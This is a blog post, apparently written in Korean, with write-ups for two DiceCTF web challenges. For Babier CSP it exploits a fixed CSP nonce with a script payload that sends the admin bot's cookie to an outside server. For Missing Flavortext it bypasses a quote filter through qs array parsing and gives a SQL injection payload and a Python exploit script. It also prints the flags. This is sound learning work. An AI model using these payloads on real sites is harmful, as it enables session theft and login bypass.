csp는 라업을 안보고 풀었고, flavortext는 라업을 보았다.
이번 문제들은 모두 node.js 로 만들어졌는데, 나중에 한번 배워볼 필요가 있겠다.
Babier CSP
일단 이문제를 고른 이유는 저번에 csp 문제를 한번 다루어 보았기 때문에 확실히 해보고 싶었다. 그리고 서버도 살아있다는 것도 장점. 이번에는 직접 flag를 얻어보려고 한다. 이전 baby csp 문제에서는 flag를 얻지 못했지만 이번 문제는 flag를 얻을 수 있었다.
1. 문제 설명
baby csp 와 비슷하게 메인페이지와 admin bot 페이지가 있다. 그리고 위 사이트는 node.js를 이용하며 express 모듈을 이용한다. index.js 코드를 제공해 주기 때문에 한번 볼 필요가 있다.
admin bot은 secret 이라는 이름의 쿠키를 세팅해준다.
const express = require('express');
const crypto = require("crypto");
const config = require("./config.js");
const app = express()
const port = process.env.port || 3000;
const SECRET = config.secret;
const NONCE = crypto.randomBytes(16).toString('base64');
const template = name => `
<html>
${name === '' ? '': `<h1>${name}</h1>`}
<a href='#' id=elem>View Fruit</a>
<script nonce=${NONCE}>
elem.onclick = () => {
location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>
</html>
`;
app.get('/', (req, res) => {
res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`);
res.send(template(req.query.name || ""));
})
app.use('/' + SECRET, express.static(__dirname + "/secret"));
app.listen(port, () => {
console.log(`Example app listening at http://localhost:${port}`)
})
node.js 를 배운적은 없지만, 코드는 다 그게 그거기 때문에 대강 알 수 있다. 일단 중요하게 봐야할 점은 nonce이다. csp에서 nonce를 세팅하면, 해당 nonce값을 알면 xss 공격을 할 수 있다.
get은 말그대로 get 요청을 보내는 것 같고, use는 몰라서 찾아보니 node.js에서는 index.js 에서 다양한 요청을 처리할 수 있는데, /+암호키 를 주소창에 입력하면 /secret 이라는 파일로 서비스를 제공한다는 뜻이다.
2. 취약점
nonce 값이 고정이다. 따라서 xss 공격을 할 수 있다.
이유는 알 수 없지만 nonce 값은 항상 고정이다.
3. 분석
csp에 대해서는 이전에 알아보았기 때문에 패스한다.
우리의 목표는 admin bot 이 세팅한 secret 쿠키를 얻어내는 것이다. 나는 xss를 통해서 쿠키 탈취 -> 이후 php 코드로 내서버에 저 장 하는 방식을 이용하였다.
4. 최종 페이로드 분석
encoded
https://babier-csp.dicec.tf/?name=%3Cscript%20nonce%3DLRGWAXOY98Es0zz0QOVmag%3D%3D%3Elocation.href%3D%22http%3A%2F%2F34.64.196.85%2FgetCookie.php%3Fsecret%3D%22%2Bdocument.cookie%3B%3C%2Fscript%3E
decoded
<script nonce=LRGWAXOY98Es0zz0QOVmag==>location.href="http://34.64.196.85/getCookie.php?secret="+document.cookie;</script>
인코딩된 사이트를 admin bot에 제출해준다.
name 값을 url 인코딩을 해서 주어야 한다.
저 코드를 bot 이 클릭을 하게 되면 url에 쿠키값을 포함하여 내 서버에 저작된 php 쪽으로 전송해주고, 이를 내 서버에서 받아서 파일로 저장한다.
아래는 저장된 쿠키값이다.
4b36b1b8e47f761263796b1defd80745 가 secret 값이다!
https://babier-csp.dicec.tf/4b36b1b8e47f761263796b1defd80745/ 로 이동해보자
Hi! You should view source!
<!--
I'm glad you made it here, there's a flag!
<b>dice{web_1s_a_stat3_0f_grac3_857720}</b>
If you want more CSP, you should try Adult CSP.
-->
dice{web_1s_a_stat3_0f_grac3_857720}
5. 점수
5점. 처음부터 생각한 시나리오대로 진행이 촥촥되었다. 쿠키탈취 문제는 처음풀어보는데 재미있다.
MissingFlavortext
본 라업은 ctftime 에 올라와있는 대강대강의 라업들 보다 훠얼씬 더 자세하게 설명했다고 다짐할 수 있다.
1. 문제 설명
이 문제도 node.js 로 만들어졌다. 다만 본 문제는 node.js 의 기능을 악용하여 푸는 문제라는 점이 다르다.
동일하게 index.js 를 제공한다.
const crypto = require('crypto');
const db = require('better-sqlite3')('db.sqlite3')
// remake the `users` table
db.exec(`DROP TABLE IF EXISTS users;`);
db.exec(`CREATE TABLE users(
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT,
password TEXT
);`);
// add an admin user with a random password
db.exec(`INSERT INTO users (username, password) VALUES (
'admin',
'${crypto.randomBytes(16).toString('hex')}'
)`);
const express = require('express');
const bodyParser = require('body-parser');
const app = express();
// parse json and serve static files
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.static('static'));
// login route
app.post('/login', (req, res) => {
if (!req.body.username || !req.body.password) {
return res.redirect('/');
}
if ([req.body.username, req.body.password].some(v => v.includes('\''))) {
return res.redirect('/');
}
// see if user is in database
const query = `SELECT id FROM users WHERE
username = '${req.body.username}' AND
password = '${req.body.password}'
`;
let id;
try { id = db.prepare(query).get()?.id } catch {
return res.redirect('/');
}
// correct login
if (id) return res.sendFile('flag.html', { root: __dirname });
// incorrect login
return res.redirect('/');
});
app.listen(3000);
오호 sqlite db를 사용한다. sqlite는 안드로이드에서 기본으로 사용되는 db인데, node.js 에서 사용이 가능하나보다. 일단 sql injection 문제라는 것을 알 수 있겠다.
/login 으로 post를 보낼 때의 request 객체를 가지고 와서 공란이 있으면 /으로 리다이렉트 시키고, ' 가 들어가도 리다이렉트시킨다. 따라서 sql 인젝션이 막힌 것 처럼 보인다.
2. 취약점
취약점을 알기 이전에 우리는 body-parser 에 대해서 알아야 한다. node.js 를 사용할 때 거의 기본적으로 사=용되는 모듈이며 json request body를 파싱해준다. 이를 사용하기 위해서는
const bodyParser = require('body-parser');
app.use(bodyParser.urlencoded({ extended: true or false }));
이렇게 선언해주고 req.body 와 같이 접근을 해주면 된다. 그런데 여기서 extended 를 true로 주게 되면 qs 모듈을 이용해서 파싱을 한다. 이 qs모듈을 이용해서 파싱을 하면 아래 코드와 같은 결과가 나오게 된다.
var qs = require("qs")
var result = qs.parse("person[name]=bobby&person[age]=3")
console.log(result) // { person: { name: 'bobby', age: '3' } }
즉 객체파싱이 된다는 것이다. 이게 false로 되있다면 person은 {name : ~, age : ~} 로 내부 데이터가 파싱되지 않고 아래와 같이 파싱 되었을 것이다. 이때에는 query-string 모듈이 이용된다.
var queryString = require("query-string")
var result = queryString.parse("person[name]=bobby&person[age]=3")
console.log(result) // { 'person[age]': '3', 'person[name]': 'bobby' }
나는 이 QS 모듈이 어떻게 데이터를 파싱하는지에 대해서 더 자세히 알고 싶어서 직접 깔아보았다.
{ person : ["1","2"] } 같은 json 을 어떻게 만드는지 궁금했다.
대강 이런 느낌. 뭔가 더 효율적인 방법이 있을 것 같으나, 문제를 푸는데는 이정도 지식이면 충분하다.
이제 아래 코드를 보자.
if ([req.body.username, req.body.password].some(v => v.includes('\''))) {
return res.redirect('/');
}
v.includes 메서드를 이용해서 ' 가 문자열에 들어있는지 검사를 한다. 중요한 점은 v 가 string 객체일때만 includes 라는 메서드가 있다는 것. 만약 req.body.password 를 파싱한 결과가 String이 아니라면 어떻게 될까?
false가 뜨는 것을 보면 array 타입의 오브젝트도 inclues 라는 메서드를 가지고 있다는 뜻이다. 이 경우에는 정확하게 요소와 일치가 해야 true가 반환된다.
이런 방식을 이용하면 ' 을 우회할 수 있을 것으로 보인다. 그런데 또 한가지 의문이 들 수 도 있다. 그래서 array가 string으로 바뀌면 어떻게 되는데요?
아래사진을 보자. 이렇게 배열의 원소가 2개 이상일 때에는 쉼표로 구분이 되서 들어가지만 배열의 원소가 하나면 그냥 합쳐진다.
password 에 원소가 하나인 array를 넣어주어 sql injection을 하자!
3. 분석
위에서 매우 상세한 분석을 진행하였기 때문에 패스.
4. 최종 페이로드 분석
curl 의 post로 아래코드를 전송한다. sql injection 방식은 mysql과 매우 비슷하다.
username=admin&password[0]=' OR 1=1 --
비슷한 방법으로 파이썬의 requests 모듈을 사용해도 된다..라고 생각했으나 좀 다른듯. []안에 데이터가 한개면 자동으로 []이 사라지는 것 같다. 안에 데이터가 두개이면 익스가 된다.
import requests,json
url="https://missing-flavortext.dicec.tf/login";
pl={
"username": "admin",
"password": [
"a",
"\' OR 1=1 -- "
]
}
print(json.dumps(pl))
res=requests.post(url,data=pl)
print(res.text)
dice{sq1i_d03sn7_3v3n_3x1s7_4nym0r3}
5. 점수
7점. json 파싱과 node.js 에 대해서 재미있는 실험을 많이 할 수 있었다. 테스트를 하면서 상당한 시간이 걸렸다.
'전공쪽 > 동아리 관련' 카테고리의 다른 글
webhacking.kr 1,3,4,31,38 (0) | 2021.02.08 |
---|---|
webhacking.kr 26,54,27,36,28 (0) | 2021.02.02 |
webhacking.kr (0) | 2021.01.27 |
sfctf winter write up (0) | 2021.01.26 |
sfw8 write up (0) | 2021.01.11 |